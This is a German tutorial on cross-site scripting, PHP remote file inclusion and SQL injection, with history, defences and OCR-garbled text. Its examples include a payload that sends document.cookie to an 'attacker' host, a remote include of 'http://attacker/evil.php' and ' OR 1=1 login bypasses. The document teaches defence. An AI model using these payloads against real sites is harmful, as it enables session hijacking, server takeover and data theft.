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1 Einfihrung

Beim Cross Site Scripting geht es allgemein um die Manipulation der Benutzerein-
gaben, die an eine Web-Anwendung tbergeben werden kénnen. Durch Ausnutzung
von Sicherheitsliicken in der Anwendung kann ein Angreifer dadurch dann unter an-
derem schadlichen Programmcode in eine flr den Benutzer normalerweise korrekte
Umgebung einbetten. Oder er versucht eine gewisse Kontrolle Uber die Ausfiihrung
der Web-Anwendung zu erlangen, was er zu seinen Zwecken ausnutzen will. Ziel ist
meist das Ausspahen und die Manipulation von Benutzerdaten, wie z.B. Passwortern
oder einfach das Ausfiihren von beliebigen Programmcode.

Cross Site Scripting wurde eine Zeit lang auch mit CSS abgekiirzt, was jedoch zu
einer Begriffsverwirrung mit den Cascading Style Sheets fiihrte. Daher biirgerte sich
die Abkilrzung XSS ein, die ich im folgenden auch verwenden werde.

Als allgemeinen Lesestoff zu diesem Thema empfehle ich die Literatur, auf die im
Anhang verwiesen wird.[1, 2, 3, 4]

2 Arten von XSS

Da es bisher keine standardisierte Definition gibt, findet man zum Teil unterschiedliche
Ansétze, was nun genau alles unter den Begriff Cross Site Scripting fallt. Gemeinsam
ist jedoch immer das Angriffsszenario, bei dem versucht wird, schadlichen Programm-
code in eine Web-Anwendung einzubetten, der dann auf der Client-Seite ausgefiihrt
wird.

Verwandte Szenarien versuchen den Programmablauf auf der Server-Seite zu beeinflus-
sen. Sicherheitsliicken kdnnen z.B. ausgenutzt werden, um den Server zu veranlassen,
fremden Programmcode zu laden und auszufiihren. Benutzt die Web-Anwendung eine
Datenbank, so kann durch Manipulation der SQL-Befehle versucht werden, Eintrage
in der Datenbank zu veréndern oder Abfrageergebnisse zu falschen.

Die beiden letzten (auf dem Server ablaufenden) Szenarien, werden nicht tiberall zum
Cross Site Scripting dazugezahlt. Da sie dem Standard-Szenario, aber sehr &hnlich
sind, sollen sie im folgenden auch betrachtet werden.

3 Geschichte

Cross Site Scripting ist als besonders wahrgenommene Art von Sicherheitsliicken re-
lativ neu. Im Februar 2000 verdffentlichte das CERT Coordination Center, ein so ge-
nanntes Advisory zu diesem Thema. Dort schrieb man noch, dass zum Zeitpunkt der
Veroffentlichung kein Angriff bekannt war, der so eine Sicherheitsliicke ausgenutzt
hatte. Mit der Zeit wuchs dann das Verstandnis fiir die dahinterliegende Technik und
die verschiedenen Angriffsszenarien. Man wurde sich langsam der Tragweite bewusst
und begann in Anwendungen gezielt nach diesen Sicherheitsliicken zu suchen.



Im Jahr 2002 stieg die Anzahl der gefundenen Sicherheitsliicken rapide an. In der ICAT
Datenbank des NIST[5], einem Archiv der “Common Vulnerabilities and Exposures”
(CVE), Warnungen zu aktuellen Sicherheitsliicken, wurden 1999 gerade mal 2, 2000
weitere 4, 2001 schon 25 und im Jahr 2002 ganze 99 dieser Sicherheitsliicken verzeich-
net. Der aktuelle Trend deutet nicht darauf hin, dass es dieses Jahr weniger werden.

4 XSS im Detail

4.1 Einbettung von schadlichen Programmcode in Webseiten

Web-Anwendungen sind haufig in Skriptsprachen wie PHP oder Perl programmiert,
um dynamische Inhalte zu ermdglichen. Dabei werden die Benutzereingaben oft in
den GET-Parametern der URL kodiert. Werden diese Parameter nun ohne eine vorhe-
rige Prifung im Programm weiterverarbeitet, so kann man in diesen Parametern Pro-
grammcode unterbringen, der dann in der erzeugten Webseite auftaucht. Typischer-
weise nimmt man da JavaScript, da dies in den meisten Browsern aktiviert hat. Theore-
tisch kénnte man auch Programmcode in anderen Programmiersprachen einschleusen,
in den folgenden Beispielen beschrénke ich mich jedoch auf JavaScript.

Wird nun der Inhalt einer Variable, die Giber einen GET-Parameter an das Skript (iberge-
ben wurde, ungefiltert ausgegeben, so landet der darin eingebettete JavaScript-Code in
der Webseite und wird vom Browser ausgefiihrt. Da das lokal ausgefiihrte JavaScript
Zugriff auf die vom Browser verwalteten Cookies hat, kann der Inhalt der Cookies
ausgelesen werden und z.B. an eine andere Webseite geschickt werden. Viele Web-
Anwendungen speichern ihre Authentifikationsdaten in solchen Cookies, so dass ein
Angreifer sich damit Zugang zu einer fremden Identitét erschleichen kann. Er muss
sein Opfer nur dazu bringen, auf die speziell praparierte URL zu klicken. Diese URLs
kénnen aber auch in Image-Tags untergebracht werden, wo sie dann automatisch beim
Laden der Webseite “ausgefuhrt” werden.

Héufige Angriffsziele dieser Art von XSS sind Foren, Géstebiicher, Suchformulare,
Webmailer und sogar dynamisch generierte Fehler-404-Seiten.

Geeignete SchutzmaBnahmen sind die Uberpriifung sémtlicher Benutzereingaben. Dies
schlieBt neben den HTTP GET- und POST-Variablen auch die Cookies ein, die ja auch
vom Client an den Server (ibermittelt werden. Bei der Uberpriifung sollten alle nicht
akzeptablen Werte, die nicht innerhalb eines fest definierten Wertebereichs liegen, her-
ausgefiltert werden. Sonderzeichen, die vom Browser besonders interpretiert werden
(wie etwa die spitzen Klammern < und >), missen vor der Ausgabe in ihre HTML-
Entities konvertiert werden.

Diese SchutzmaRnahmen sind einfach zu implementieren. Da sie jedoch mit zeitlichem
Aufwand verbunden sind und nichts zur Funktionalitit der Anwendung beitragen, wer-
den sie gerne vergessen, was nicht zuletzt auch Grund fiir die weite Verbreitung dieser
Sicherheitslicken ist.



4.1.1 Beispiele

Wie sieht nun so ein Angriff genau aus? Angenommen eine Webseite bietet eine Such-
funktion an. Die Eingabe des Benutzers wird als Parameter einem PHP-Skript “search.php”
Ubergeben. Das sieht dann z.B. so aus:

http://schnoop. conl sear ch. php?string=Cst erei

Neben der eigentlichen Ausgabe des Suchergebnisses, wird auch die Sucheingabe noch-
mal ausgeben. So in der Art

echo 'I'hre Suche nach $string ergab $numhits Treffer.’

Hier wird also der Parameter mit der Sucheingabe ohne Filterung ausgegeben. Diese
Ausgabe landet in der HTML-Seite, die an den Browser zuriickgeschickt wird. Nun
verdndern wir den Parameter in der URL und geben dort ein bisschen JavaScript-Code
ein. Z.B. so:

http://schnoop. conl sear ch. php?string=<script>al ert(’Wof!");</script>

Ergebnis ist, dass der Browser den JavaScript-Code ausfiihrt und uns eine kleine Mes-
sagebox prasentiert. Das ist an sich noch nicht geféhrlich, zeigt aber, dass der Angriff
funktioniert. Doch wie oben beschrieben, kann man mit JavaScript Cookies auslesen,
die fiir die Domain gesetzt sind. Den Inhalt der Cookies kann man dann wie folgt an
eine andere Webseite senden:

http://schmoop. con sear ch. php?string=<scri pt >docunent . | ocati on=
"http://attacker/dunp. php?cooki e=" +document . cooki e</scri pt >

Der Browser wird hier auf eine andere URL zu einem Webserver des Angreifers um-
gelenkt. Dort liegt ein Skript “dump.php” , dem man nun den Wert des Cookies als
Parameter ibergibt. Das Skript kann die Variablen einfach ausgeben, protokollieren,
an eine Email-Adresse verschicken oder alles zusammen. Da in Cookies oft so ge-
nannte Session-Variablen gespeichert werden, die auf Webseiten der Authentifizierung
dienen, braucht man sich nun nur noch den Cookie selber zu setzen, um die ldentitat
des Opfers zu Gibernehmen.

Im August 2002 hat Stefan Krecher solche Sicherheitsliicken bei den Freemailern Ya-
hoo und Freenet gefunden, wortber er auch in seinem Vortrag auf dem Chemnitzer
LinuxTag 2003 erzéhlte[3]. Ein boswilliger Angreifer, hatte damit auf die Postfacher
der Benutzer zugreifen kénnen.

4.2 Ausfihren von fremden Skripten

Die Skriptsprache PHP erlaubt mit dem include()-Befehl, ein Skript in ein anderes
einzubinden. Dabei wird der Inhalt des zu ladenden Skriptes an die Stelle der include()-
Anweisung gesetzt. Viele Programmierer sind sich jedoch nicht bewusst, dass es, je
nach Konfiguration des Webservers, auch méglich ist, das Skript von einem externen
Webserver zu laden. Dazu wird eine HTTP-Verbindung zum fremden Server aufgebaut
und dann das Ergebnis der HTTP GET Anfrage eingeflgt.



Ein Angreifer kann damit beliebigen Programmcode einschleusen, der dann auf dem
Webserver ausgefiihrt wird. Dies geschieht mit den Zugriffsrechten des Webservers,
was je nach Konfiguration ausreicht, um sich genauer auf dem Server umzusehen oder
sich Zugang zum System zu verschaffen. Auch wenn die Zugriffsrechte eingeschrénkt
sind, kann dieser Zugang benutzt werden, um darauf aufbauende weitere Angriffe zu
starten.

Auch vor dieser Art des Cross Site Scripting kann man sich durch eine genaue Uber-
prifung und Filterung von akzeptablen Werten in den Parametern schitzen. In PHP
kann man zusétzlich die Konfigurationsoption “register_globals” deaktivieren, was ein
Uberschreiben von Variablen verhindert. Schaltet man den “Safe-Mode” ein, ist es auch
nicht mehr moglich, andere Skripte per include()-Anweisung von anderen Webservern
zu laden.

4.2.1 Beispiele

Einige Webseiten benutzen ein Framework mit Templates, um die verschiedenen Inhal-
te, Navigation usw. einheitlich zu prasentieren. Dazu wird ein einzelnes Skript benutzt,
dem der Name der Datei mit dem eigentlichen Inhalt als Parameter tibergeben wird.
Zum Beispiel so:

http://schnoop. conl i ndex. php?file=start. htm
Im Skript “index.php” wird nun der Parameter “file” ungepruft tbernommen.
include($file)

Wie oben beschrieben, kdnnen wir nun einfach eine Datei von einem anderen Webser-
ver laden.

http://schnoop. cont i ndex. php?fil e=http://attacker/evil.php

Das Skript “evil.php” kann beliebigen Code enthalten, der dann auf dem angegriffenen
Webserver ausgefuhrt wird. So kann es z.B. auch system()-Befehle enthalten, die dann
an das Betriebssystem weitergegeben werden.

Manchmal sind die manipulierbaren Parameter nicht so offensichtlich zu erkennen. Da
jedoch oft der Quellcode der Software vorliegt, kann man gezielt auf die Suche zu
gehen. So zum Beispiel nach Variablen, die in Konfigurationsdateien gesetzt werden.
Angenommen eine Webseite l&dt eine Datei plugin.php:

http://schnoop. conl i ndex. php?fil e=pl ugi n. php

Weiterhin angenommen ein Angriff direkt Uber den file-Parameter ist nicht moglich,
doch das Skript plugin.php erwartet eine Variable $fnord, die im Skript “index.php”
aus einer Konfigurationsdatei geladen wird. Ein Angreifer kann nun das Skript “plu-
gin.php” direkt aufrufen und die Variable $fnord mit der URL unseres externen Webser-
vers zu futtern:

http://schnoop. conl pl ugi n. php?fnord=http://attacker/evil.php

Eine grofe Sicherheitsliicke in PHP-Nuke, einem weit verbreiteten Content Manage-
ment System, funktionierte genau auf diese Art und Weise.



4.3 SQL-Injection

Benutzt die Web-Anwendung eine Datenbank, so kann ein Angreifer durch geschick-
te Manipulation der Parameter SQL-Anweisungen verédndern und damit die Ergebnis-
se flr seine Zwecke beeinflussen. Grund ist, dass oft die Parameter Teil der SQL-
Anweisung gemacht werden.

SchutzmalRnahmen sind auch hier wieder die Priifung der Parameter auf unerwiinschte
Eingaben. Besondere Zeichen, wie Komma, Semikolon oder Anfilhrungszeichen, mus-
sen mit Escape-Sequenzen versehen werden (“quoting”). Weiterhin sollten interne, si-
cherheitskritische Daten nicht auf den gleichen Servern gespeichert werden, wo auch
offentliche Daten liegen, sondern auf getrennten und besonders gesicherten Servern.

4.3.1 Beispiele

Angenommen die Web-Anwendung ist ein Frontend fiir eine Benutzerdatenbank. Eine
Suchanfrage dieser Art

http://schnoop. conl sear ch. php?name=Skywal ker

wirde dann in eine SQL-Anweisung wie diese Ubergehen:

SELECT * FROM users WHERE name=' $nane’

Durch eine Manipulation dieser Art:

http://schnoop. conl sear ch. php?name=egal ' %200R%201=1
(Die Leerzeichen sind hier durch den Hex-Wert %20 kodiert, damit die URL funktio-
niert.)

entsteht dann eine solche SQL-Anfrage:
SELECT * FROM users WHERE nane="egal ' OR 1=1

Der Name als Suchkriterium ist damit hinféllig und es werden alle Benutzer ausgege-
ben, da OR 1=1 die Bedingung immer erfillt.

Interessant wird das bei Passwortabfragen. Man stelle sich folgende manipulierte SQL-
Anweisung vor:

SELECT COUNT(*) FROM users WHERE nanme=" Skywal ker’ AND passwor d=" Luke’
OR 1=1

Access granted!
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